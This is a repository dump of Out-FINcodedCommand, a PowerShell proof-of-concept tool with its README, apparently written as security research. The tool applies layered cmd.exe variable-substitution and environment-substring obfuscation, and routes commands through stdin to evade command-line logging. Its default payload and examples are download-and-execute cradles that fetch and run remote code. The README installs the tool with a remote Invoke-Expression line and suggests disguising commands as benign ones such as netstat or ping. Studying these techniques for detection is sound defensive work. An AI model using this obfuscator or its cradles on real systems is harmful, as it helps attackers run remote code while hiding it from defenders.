├── Out-FINcodedCommand.ps1 └── README.md /Out-FINcodedCommand.ps1: -------------------------------------------------------------------------------- 1 | function Out-FINcodedCommand 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Out-FINcodedCommand is a research POC designed to highlight the layered replacement obfuscation functionality that cmd.exe supports. 7 | THIS IS NOT AN ENDORSEMENT FOR ANY FIN GROUPS OR OTHER THREAT ACTORS TO USE THIS TOOL TO PRODUCE PAYLOADS. 8 | DO NOT USE THIS TOOL OR ITS OUTPUT AGAINST ANY SYSTEM THAT YOU ARE NOT AUTHORIZED TO ACCESS. 9 | AKA: Please do not use this tool for evil. 10 | 11 | .DESCRIPTION 12 | 13 | Out-FINcodedCommand is a research POC designed to highlight the layered replacement obfuscation functionality that cmd.exe supports. 14 | 15 | .PARAMETER Command 16 | 17 | Specifies the command to obfuscate with FINcoding-style cmd.exe replacement syntax. 18 | 19 | .PARAMETER CmdSyntax 20 | 21 | Specifies the syntax to reference cmd.exe (otherwise one is randomly assigned from some fun options). 22 | 23 | .PARAMETER PowerShellSyntax 24 | 25 | Specifies the syntax to reference powershell.exe (otherwise one is randomly assigned from some fun options). 26 | 27 | .PARAMETER FinalBinary 28 | 29 | Specifies the binary to push the final obfuscated command into via stdin. 30 | 31 | .EXAMPLE 32 | 33 | C:\PS> Out-FINcodedCommand -Command "iex (iwr http://bit.ly/L3g1t).content" 34 | 35 | C:\PS> Out-FINcodedCommand -Command "iex (iwr http://bit.ly/L3g1t).content" -CmdSyntax "%ProgramData:~0,1%%ProgramData:~9,2%" -PowerShellSyntax "%ProgramData:~3,1%%ProgramData:~5,1%we%ProgramData:~7,1%she%Public:~12,1%%Public:~12,1%" -FinalBinary powershell 36 | 37 | .NOTES 38 | 39 | This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. 40 | 41 | .LINK 42 | 43 | http://www.danielbohannon.com 44 | #> 45 | 46 | [CmdletBinding()] 47 | param ( 48 | [Parameter(Position = 0, Mandatory = $false)] 49 | [System.String] 50 | $Command = "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/L3g1t')", 51 | 52 | [Parameter(Position = 0, Mandatory = $false)] 53 | [System.String] 54 | $CmdSyntax = (Get-Random -InputObject @("cmd.exe","cmd","%COMSPEC%","%ProgramData:~0,1%%ProgramData:~9,2%","C:\ProgramData\Microsoft\..\..\Windows\System32\cmd.exe")), 55 | 56 | [Parameter(Position = 0, Mandatory = $false)] 57 | [System.String] 58 | $PowerShellSyntax = (Get-Random -InputObject @("powershell.exe","powershell","%ProgramData:~3,1%%ProgramData:~5,1%we%ProgramData:~7,1%she%Public:~12,1%%Public:~12,1%","C:\ProgramData\Microsoft\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe")), 59 | 60 | [Parameter(Position = 0, Mandatory = $false)] 61 | [ValidateSet('cmd','powershell')] 62 | [System.String] 63 | $FinalBinary = 'powershell' 64 | ) 65 | 66 | # Assign input $CmdSyntax/$PowerShellSyntax for selected $FinalBinary. 67 | if ($FinalBinary.ToLower() -eq 'powershell') 68 | { 69 | # Add - for stdin syntax if 'powershell' was selected for $FinalBinary. This dash is NOT necessary for PS 3.0+. 70 | $FinalBinarySyntax = $PowerShellSyntax + ' -' 71 | } 72 | elseif ($FinalBinary.ToLower() -eq 'cmd') 73 | { 74 | $FinalBinarySyntax = $CmdSyntax 75 | } 76 | 77 | # Output input options: 78 | Write-Host "[*] CmdSyntax :: " -NoNewLine -ForegroundColor Cyan 79 | Write-Host $CmdSyntax -ForegroundColor Yellow 80 | 81 | Write-Host "[*] PowerShellSyntax :: " -NoNewLine -ForegroundColor Cyan 82 | Write-Host $PowerShellSyntax -ForegroundColor Yellow 83 | 84 | Write-Host "[*] FinalBinarySyntax :: " -NoNewLine -ForegroundColor Cyan 85 | Write-Host $FinalBinarySyntax -ForegroundColor Yellow 86 | 87 | Write-Host "[*] Command to FINcode :: " -NoNewLine -ForegroundColor Cyan 88 | Write-Host $Command -ForegroundColor Yellow 89 | 90 | # Set $FINcodedCommand to input $Command. 91 | $FINcodedCommand = $Command 92 | 93 | # Define characters that need to be escaped properly from a cmd.exe perspective. DO NOT MOVE '^' FROM THE FIRST ELEMENT OF $charsToEscape ARRAY! It is there for a reason :) 94 | $charsToEscape = @('^','&','|') 95 | 96 | # Set a plethora of tags we will use as placeholders for values that will be substituted at the end (mostly) of each iteration. 97 | $curVarNameTag = '' 98 | $lastVarNameTag = '' 99 | $curVarReplaceSyntaxTag = '' 100 | $FINcodedCommandTag = '' 101 | $escapingTag = '' 102 | 103 | # Set current syntax for input command with cmd.exe wrapper syntax, handling substitutions and piping final result into cmd.exe via stdin to avoid command line logging for the final deobfuscated command. 104 | $finalCommand = @("$CmdSyntax /c `"set $curVarNameTag=$FINcodedCommandTag&&$CmdSyntax /c ","","echo %$curVarReplaceSyntaxTag%|$FinalBinarySyntax`"") 105 | 106 | # Keep track of all entered var names so there are not duplicates. 107 | $allVarNames = @() 108 | 109 | # Keep track of all entered escaped placeholder values to avoid complex replacement errors particular when dealing with numerous layers of escaping. 110 | $allPlaceholderValues = @() 111 | 112 | $curVarName = $null 113 | $lastVarName = $null 114 | $lastVarReplaceSyntax = $null 115 | $andAnd = '&&' 116 | $keepEncoding = $true 117 | 118 | # Loop infinitely so as many encoding layers can be added as the user wants. Ctrl+C to exit. This is a POC not a Cadillac. 119 | while ($keepEncoding) 120 | { 121 | # Build out pre-escaped version of FINcodedCommand for all comparison checks leading up to the actual escaping applied at the end of this loop. 122 | $escapingSyntax = '^' * ([System.Math]::Pow(2,$allVarNames.Count + 2) - 1) 123 | $FINcodedCommandWithEscaping = $FINcodedCommand.Replace($escapingTag,$escapingSyntax) 124 | 125 | Write-Host "`n[*] Enter char/string to FINcode " -NoNewline -ForegroundColor Cyan 126 | Write-Host "(or Ctrl+C to exit)" -NoNewline -ForegroundColor Yellow 127 | Write-Host ": " -NoNewline -ForegroundColor Cyan 128 | $charOrStringToFINcode = Read-Host 129 | 130 | # Perform error handling for user input. 131 | if (-not $FINcodedCommandWithEscaping.Contains($charOrStringToFINcode)) 132 | { 133 | Write-Host "[*] ERROR :: Cannot find " -NoNewLine -ForegroundColor Red 134 | Write-Host $charOrStringToFINcode -NoNewLine -ForegroundColor Yellow 135 | Write-Host " in your current FINcoded command (remember it's case sensitive)..." -ForegroundColor Red 136 | } 137 | else 138 | { 139 | # See if escaping needs to occur for any input character(s). 140 | foreach ($charToEscape in $charsToEscape) 141 | { 142 | if ([System.Char[]] $charOrStringToFINcode -contains $charToEscape) 143 | { 144 | # Add escaping tag that will be substituted with the approate layers of escaping. 145 | $charOrStringToFINcode = $charOrStringToFINcode.Replace($charToEscape,($escapingSyntax + $charToEscape)) 146 | } 147 | } 148 | 149 | # Loop until user input is valid. 150 | $keepGettingPlaceholder = $true 151 | 152 | while ($keepGettingPlaceholder) 153 | { 154 | Write-Host "[*] Enter char/string for placeholder for above substitution: " -NoNewline -ForegroundColor Cyan 155 | $placeholder = Read-Host 156 | 157 | # See if escaping needs to occur for any input character(s). 158 | foreach ($charToEscape in $charsToEscape) 159 | { 160 | if ([System.Char[]] $placeholder -contains $charToEscape) 161 | { 162 | # Add escaping tag that will be substituted with the approate layers of escaping. 163 | $placeholder = $placeholder.Replace($charToEscape,($escapingSyntax + $charToEscape)) 164 | } 165 | } 166 | 167 | # Check for layered escaping conflict across previous placeholder values stored in $allPlaceholderValues. 168 | # Example: If first placeholder is "|" (escaped to "^^^|") and the second placeholder is "&|" (escaped to "^^^^^^^&^^^^^^^|") then the first layer replacement of "^^^|" will conflict with the second layer replacement. 169 | $escapedPlaceholderConflict = $null 170 | foreach ($prevPlaceholderValue in $allPlaceholderValues) 171 | { 172 | if ($placeholder.Contains($prevPlaceholderValue)) 173 | { 174 | $escapedPlaceholderConflict = $prevPlaceholderValue 175 | } 176 | } 177 | 178 | # Perform error handling for user input. 179 | if ($FINcodedCommandWithEscaping.ToLower().Contains($placeholder.ToLower())) 180 | { 181 | Write-Host "[*] ERROR :: Selected placeholder " -NoNewLine -ForegroundColor Red 182 | Write-Host $placeholder -NoNewLine -ForegroundColor Yellow 183 | Write-Host " already exists in your current FINcoded command (cmd.exe replace is case INsensitive)..." -ForegroundColor Red 184 | } 185 | elseif ( ($charOrStringToFINcode.Length -gt 0) -and ($FINcodedCommandWithEscaping -ne $FINcodedCommandWithEscaping.Replace($charOrStringToFINcode,$placeholder).Replace($placeholder,$charOrStringToFINcode)) ) 186 | { 187 | # Example: In "Object" replacing "je" with "bb" will result in "Obbbct". 188 | # When the replace is performed it will match on the first instance of "bb" resulting in the incorrect "Ojebct". 189 | Write-Host "[*] ERROR :: Placeholder " -NoNewLine -ForegroundColor Red 190 | Write-Host $placeholder -NoNewLine -ForegroundColor Yellow 191 | Write-Host " substitution will cause incorrect dubious replacement due to adjacent text after substitution..." -ForegroundColor Red 192 | } 193 | elseif ($escapedPlaceholderConflict) 194 | { 195 | # Example: If first placeholder is "|" (escaped to "^^^|") and the second placeholder is "&|" (escaped to "^^^^^^^&^^^^^^^|") then the first layer replacement of "^^^|" will conflict with the second layer replacement. 196 | Write-Host "[*] ERROR :: Placeholder " -NoNewLine -ForegroundColor Red 197 | Write-Host $placeholder -NoNewLine -ForegroundColor Yellow 198 | Write-Host " conflicts with previously escaped placeholder " -NoNewLine -ForegroundColor Red 199 | Write-Host $escapedPlaceholderConflict -NoNewLine -ForegroundColor Yellow 200 | Write-Host "..." -ForegroundColor Red 201 | } 202 | else 203 | { 204 | $allPlaceholderValues += $placeholder 205 | $keepGettingPlaceholder = $false 206 | } 207 | } 208 | 209 | # Update original FINcodedCommand with most recent substitution. 210 | if ($charOrStringToFINcode.Length -gt 0) 211 | { 212 | $FINcodedCommand = $FINcodedCommandWithEscaping.Replace($charOrStringToFINcode,$placeholder) 213 | } 214 | 215 | # Keep track of previous and current var names. 216 | $lastVarName = $curVarName 217 | 218 | # Loop until user input is valid. 219 | $keepReadingInput = $true 220 | 221 | while ($keepReadingInput) 222 | { 223 | Write-Host "[*] Enter variable name to store this layer of substitution: " -NoNewline -ForegroundColor Cyan 224 | $curVarName = Read-Host 225 | 226 | # Perform error handling for user input. 227 | if ($allVarNames -notcontains $curVarName) 228 | { 229 | $keepReadingInput = $false 230 | $allVarNames += $curVarName 231 | } 232 | else 233 | { 234 | Write-Host "[*] ERROR :: You have already used " -NoNewLine -ForegroundColor Red 235 | Write-Host $curVarName -NoNewLine -ForegroundColor Yellow 236 | Write-Host " as a variable name -- duplicates are not allowed..." -ForegroundColor Red 237 | } 238 | } 239 | 240 | # Update current cmd.exe wrapper syntax for current FINcoded command. 241 | 242 | $curVarReplaceSyntax = "$curVarName`:$placeholder=$charOrStringToFINcode" 243 | 244 | if ($allVarNames.Count -eq 1) 245 | { 246 | # Update appropriate $finalCommand array elements. 247 | $finalCommand[0] = $finalCommand[0].Replace($curVarNameTag,$curVarName) 248 | $finalCommand[2] = $finalCommand[2].Replace($curVarReplaceSyntaxTag,$curVarReplaceSyntax) 249 | } 250 | else 251 | { 252 | # Handle levels of escaping for cmd.exe's && syntax. 253 | $andAnd = -join ( [System.Char[]] $andAnd | ForEach-Object { "^$_" } ) 254 | 255 | # Update appropriate $finalCommand array elements. 256 | $finalCommand[0] = $finalCommand[0].Replace($curVarNameTag,$curVarName) 257 | $finalCommand[1] += "set $curVarName=%$lastVarReplaceSyntax% $andAnd$CmdSyntax /c " 258 | $finalCommand[2] = "echo %$curVarReplaceSyntax%|$FinalBinarySyntax`"" 259 | } 260 | 261 | # Keep track of last variable replace syntax for next iteration. 262 | $lastVarReplaceSyntax = $curVarReplaceSyntax 263 | 264 | # Assemble final FINcoded command for current iteration. 265 | $finalFINcodedCommand = $finalCommand[0].Replace($FINcodedCommandTag,$FINcodedCommand) + $finalCommand[1] + $finalCommand[2] 266 | 267 | # Perform substitutions for all necessary levels of escaping. 268 | $escapingSyntax = '^' * ([System.Math]::Pow(2,$allVarNames.Count) - 1) 269 | 270 | # Copy current FINcoded command result to clipboard. 271 | $finalFINcodedCommand | C:\Windows\System32\clip.exe 272 | 273 | # Output result in classic DBO fasion: Write-Host + lots of colors. 274 | $FINcodedCommandIndex = $finalFINcodedCommand.IndexOf($FINcodedCommand) 275 | Write-Host "`n[*] Current FINcoded command (copied to clipboard):" -ForegroundColor Cyan 276 | Write-Host " $($finalFINcodedCommand.Substring(0,$FINcodedCommandIndex))" -NoNewLine -ForegroundColor Green 277 | Write-Host $FINcodedCommand -NoNewLine -ForegroundColor Yellow 278 | Write-Host $finalFINcodedCommand.Substring($FINcodedCommandIndex + $FINcodedCommand.Length) -ForegroundColor Green 279 | } 280 | } 281 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Out-FINcodedCommand v1.0 2 | =============== 3 | 4 | ![Out-FINcodedCommand Screenshot 1](https://github.com/danielbohannon/danielbohannon.github.io/blob/master/Out-FINcodedCommand%20Screenshot%201.png) 5 | 6 | Introduction 7 | ------------ 8 | Out-FINcodedCommand is a PowerShell v2.0+ compatible PowerShell POC script designed 9 | to highlight several obfuscation techniques used by FIN threat actors. The primary 10 | obfuscation techniques highlighted in this tool are: 11 | 1) cmd.exe's variable char/string replacement functionality 12 | 2) cmd.exe and powershell.exe's StdIn command invocation capabilities 13 | 3) environment variable substring functionality to obfuscate "cmd" and "powershell" 14 | 15 | Installation 16 | ------------ 17 | The source code Out-FINcodedCommand is hosted at Github, and you may 18 | download, fork and review it from this repository 19 | (https://github.com/danielbohannon/Out-FINcodedCommand). Please report issues 20 | or feature requests through Github's bug tracker associated with this project. 21 | (Not really -- this is a simple POC, not a Cadillac with a warranty.) 22 | 23 | To install: 24 | 25 | Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/danielbohannon/Out-FINcodedCommand/master/Out-FINcodedCommand.ps1') 26 | 27 | Usage 28 | ----- 29 | This is a simple POC so `Out-FINcodedCommand` is the only function that currently 30 | exists. Use `Get-Help Out-FINcodedCommand` to see available parameters. 31 | 32 | You can approach this tool's obfuscation capabilities from the perspective of 33 | "blending in" a command to appear like a less conspicious "netstat -ano" or 34 | "ping 8.8.8.8" (like in the example screenshot above). 35 | 36 | You can also take another approach to simply cram in as many confusing char/string 37 | substitutions as possible to make our jobs as Defenders more challenging. 38 | 39 | ![Out-FINcodedCommand Screenshot 2](https://github.com/danielbohannon/danielbohannon.github.io/blob/master/Out-FINcodedCommand%20Screenshot%202.png) 40 | 41 | Lastly, there is not support for CLI. Why? I'm too busy working on fun detection 42 | projects to spend on this. This tool is meant for education and not weaponization. 43 | 44 | DISCLAIMER: Do not use this tool for evil. Please use this tool and its output 45 | responsibly and only on systems on which you have explicit permission to access 46 | and run obfuscated code. 47 | 48 | License 49 | ------- 50 | Out-FINcodedCommand is released under the Apache 2.0 license. 51 | 52 | Release Notes 53 | ------------- 54 | v1.0 - 2017-07-02 --------------------------------------------------------------------------------